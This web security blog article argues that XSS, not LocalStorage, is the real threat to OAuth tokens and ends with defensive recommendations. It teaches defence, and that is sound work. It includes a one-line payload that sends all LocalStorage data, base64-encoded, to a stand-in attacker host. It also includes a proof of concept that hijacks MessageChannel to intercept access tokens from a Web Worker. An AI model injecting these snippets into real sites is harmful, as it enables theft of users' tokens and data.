Philippe De Ryck

Hi, I'm Philippe, and I help developers protect companies through better web security. As the founder of Pragmatic Web Security, I travel the world to teach practitioners the ins and outs of building secure software.

Want to learn more about OAuth 2.0 and OpenID Connect?

Save yourself days of digging through dozens of specs with this online course

More information

Why avoiding LocalStorage for tokens is the wrong solution

Most developers are afraid of storing tokens in LocalStorage due to XSS attacks. While LocalStorage is easy to access, the problem actually runs a lot deeper. In this article, we investigate how an attacker can bypass even the most advanced mechanisms to obtain access tokens through an XSS attack. Concrete recommendations are provided at the end.

16 April 2020 OAuth 2.0 & OpenID Connect OAuth 2.0, LocalStorage, XSS

The effect of XSS

In a Cross-Site Scripting (XSS) attack, the attacker can inject JavaScript code into the page of a web application. The code example below shows a restaurant review, submitted by the attacker to a restaurant review application. If the application inserts this review into the page in an insecure way, the browser will pick up the script tag and execute the code. XSS vulnerabilities come in many forms and flavors. But in the end, malicious data ends up as part of the page, where the browser mistakenly interprets it as code.

A review for a restaurant containing an XSS payload


This restaurant is absolutely amazing. 
Amazing service and the best meat, all from the local farm!
<script>alert('You got away easy here!')</script>

XSS attacks are extremely dangerous, because browsers do not isolate script code coming from different sources. When the browser finds JavaScript in the page, either directly embedded or loaded remotely, it will execute the code in the execution context of the application. Concretely, the malicious code runs in the same environment as legitimate application code. As a consequence, it has the same privileges as legitimate appication code.

While the attack in the code example from before is very harmless, the real-world consequences of an XSS attack can be much more severe. The attacker can do anything the application can do, which includes …

  • Reading and modifying page contents
  • Reading cookie information
  • Reading locally stored data (e.g., LocalStorage, SessionStorage, IndexedDB)
  • Sending requests to remote servers
  • Using sensitive features (e.g., Geolocation, microphone, webcam) when the user has granted the application proper permissions

One well-known attack vector is session hijacking, where the attacker abuses an XSS vulnerability to steal the user’s session cookie. Once stolen, that session cookie gives the attacker access to the user’s authenticated session. In our restaurant review application, the attacker could now start writing reviews in the name of the user.

OAuth 2.0 tokens

In applications using OAuth 2.0 to authorize requests to an API, things work a bit differently. Instead of a session cookie between the application and the API, the frontend uses an access token to send to the API. The access token represents the authority given by the user to the frontend to access the API.

The browser does not handle such an access token automatically, leaving this responsibility to the application. When implementing such a mechanism, developers often have to choose where they want the application to store the token. One common solution is using LocalStorage, a built-in storage mechanism. More on that in a second.

In frontend web applications, access tokens are typically Bearer tokens. This means that the authority of the token is granted to the bearer of the token, i.e., the holder of the token. If the attacker can obtain an access token, they would be able to make API calls that are indistinguishable from legitiamte API calls by the web application.

When you add refresh tokens in the mix, the scenario becomes even more dangerous. Refresh tokens allow the application to obtain fresh access tokens. When a refresh token is stolen, it would grant the attacker long-term access to an API in the name of the user. That’s why security patterns such as refresh token rotation are important to detect and prevent the abuse of refresh tokens. The upcoming OAuth 2.1 specification mandates such additional protections for refresh tokens.

Token handling in web applications

Web applications relying on OAuth 2.0 to authorize calls to an API will have to store tokens in the browser. Additionally, many applications implement a custom token-based authorization mechanism, which also relies on storing tokens in the browser. So, where do you keep those tokens?

LocalStorage is the easy and obvious choice. The API to use LocalStorage is extremely simple and the browser already isolates storage areas per origin. The code example below shows how to store and retrieve a token with LocalStorage.

Storing and retrieving data in LocalStorage


// Storing a variable named theToken
localStorage.setItem("token", theToken);

// Retrieving the value
let theToken = localStorage.getItem("token");

That brings us back to XSS. If your application stores data in LocalStorage, the malicous code injected by the attacker can easily reach that data and exfiltrate it. The malicious code snippet shown below illustrates how easy it is to send all LocalStorage values to the server of the attacker.

Stealing the entire LocalStorage object and sending it to the server of the attacker


new Image().src = "https://maliciousfood.com/stealLocalStorage?values=" 
    + btoa(JSON.stringify(localStorage));

This code snippet loads a new image with the given URL. The URL points to a malicious server and contains a query parameter. The query parameter is the base64-encoded data from the LocalStorage area in the browser. When the browser executes this code, it will trigger a request to the URL shown below.

The URL that ships off the base64-encoded data from the browser's LocalStorage


https://maliciousfood.com/stealLocalStorage
    ?values=eyJIYXNodGFnIjoiI0JsaWpmSW5Vd0tvdCIsIkNvcm9uYSI6IkxvY2tkb3duIn0=

Because of this obvious danger, you will find plenty of advice to avoid storing tokens in LocalStorage. Unfortunately, most of that advice fails to understand the true threat of XSS attacks.

The true impact of XSS

Stealing data from LocalStorage is an easy attack payload. Injecting such a payload in numerous applications is likely to yield interesting results. However, the problem is far worse than stealing data from LocalStorage. A successful XSS attack gives the attacker full control over your application code. In this particular scenario, that means the attacker can modify the code to extract the token from the application.

Let’s dig a bit deeper with a concrete example: OAuth 2.0 libraries for Single Page Applications. These libraries are absolutely amazing, since they hide all of the complexity of dealing with OAuth 2.0. The library handles flow initialization, the exchange of the authorization code, and the storage of tokens. Most libraries offer a few storage options, allowing the developer a choice to avoid LocalStorage if desired.

One advanced option in these libraries is the use of a Web Worker to handle refresh tokens and token renewal. In such a scenario, the Web Worker isolates the refresh token from the application’s exeuction context. Whenever a new access token is needed, the application sends a message to the Web Worker to retrieve the token. Once the worker receives teh token, it sends it back to the main application using a MessageChannel port. The access token is kept in memory, making it hard for an attacker to steal it.

The problem is that an XSS attack gives the attacker full control over the application’s code. The code example below shows a payload that redefines the MessageChannel object.

A hastily written PoC to intercept MessageChannel messages


// Keep a reference to the original MessageChannel
window.MyMessageChannel = MessageChannel;

// Redefine the global MessageChannel
MessageChannel = function() {
    // Create a legitimate channel
    let wrappedChannel = new MyMessageChannel();

    // Redefine what ports mean
    let wrapper = {
        port1: {
            myOnMessage: null,
            postMessage: function(msg, list) {
                wrappedChannel.port1.postMessage(msg, list);
            },
            set onmessage (val) {
                // Defining a setter for "onmessage" so we can intercept messages
                this.myOnMessage = val;
            }
        },
        port2: wrappedChannel.port2
    }
    
    // Add handlers to legitimate channel
    wrappedChannel.port1.onmessage = function(e) {
        // Stealthy code would not log, but send to a remote server
        console.log(`Intercepting message from port 1 (${e.data})`)
        console.log(e.data);
        wrapper.port1.myOnMessage(e);
    }

    // Return the redefined channel
    return wrapper;
}

When this code is injected by the attacker, the OAuth 2.0 library will start using the redefined MessageChannel. Whenever the Web Worker sends a response with the access token, the attacker will be able to intercept that response (lines 25 - 30). Here, we merely print it to the console. In a real scenario, we would ship this token to a remote server and keep listening for a new access token. This attack scenario allows the attacker to steal access tokens as long as the application is running in the user’s browser.

An attacker can use a similar mechanism to override other language features, allowing the attacker to access properties of an XMLHttpRequest, a Header object, or even simple Strings. Additionally, when refresh tokens are not used, and attacker can always launch a silent authenticaiton flow to obtain an access token directly from the security token service.

In a nutshell, XSS means game over!

My recommendations

First and foremost, you need to realize that a single XSS vulnerability means the attacker can take full control of your application. Given the dynamic nature of JAvaScript, there is no recovery at that point. That also implies that we need to focus on preventing XSS vulnerabilities in the first place.

Here are my concrete recommendations.

Step 1: don’t worry too much about storage. I often get questions from developers asking how to store tokens securely. If you are unsure how to handle token storage, use LocalStorage. It will save you a massive amount of time, which you will need for the next steps. If you know what you are doing, use in-memory storage or the Web Worker option. It makes an attack harder, but it never solves the root problem.

Step 2: review your application for XSS vulnerabilities. Avoiding XSS is insanely hard and requires a thorough code review. Learn about your templating framework and how to avoid XSS. Learn how to use context-sensitive output encoding and sanitization correctly. Go through every line of code to ensure you do not have XSS vulnerabilities. I have built a cheat sheet on Angular security and a cheat sheet on XSS in React applications.

Step 3: deploy a defense-in-depth mechanism against XSS. Modern browsers support a variety of security mechanisms that can help you lock down your application. Content Security Policy allows you to define where resources can be loaded from. Subresource Integrity allows you to define checksums for remote script files. HTML5 sandboxing allows you to isolate content in a sandboxed environment. And the upcoming Trusted Types will help eradicate DOM-based XSS. Learn how to use these technologies effectively in your application to create a defense-in-depth strategy against XSS. But only after you have done step 2!

And remember, XSS is game over! And not the kind where you insert another coin and try again.



About Dr. Philippe De Ryck

Hi, I'm Philippe, and I help developers protect companies through better web security. Learn more about my security training program, advisory services, or check out my recorded conference talks.

Want to learn more about OAuth 2.0 and OpenID Connect?

Save yourself days of digging through dozens of specs with this online course

More information
Philippe De Ryck

Dr. Philippe De Ryck

Hi, I'm Philippe, and I help developers protect companies through better web security. As the founder of Pragmatic Web Security, I travel the world to teach practitioners the ins and outs of building secure software.


Talks and workshops

You will often find me speaking and teaching at public and private events around the world. My talks always encourage developers to step up and get security right.


Articles

Security is often about small nuances. In my articles, I dive deeper into various security topics, providing concrete guidelines and advice. My articles also answer questions I often get while speaking or teaching.


Security resources

Getting security right is all about knowledge. I strongly believe in sharing that knowledge to move forward as a community. Among my resources, you can find developer cheat sheets, recorded talks, and extensive slide decks.


Mailing list

Subscribe to the Pragmatic Web Security mailing list to stay up to date on the latest activities and resources.

Subscribe

\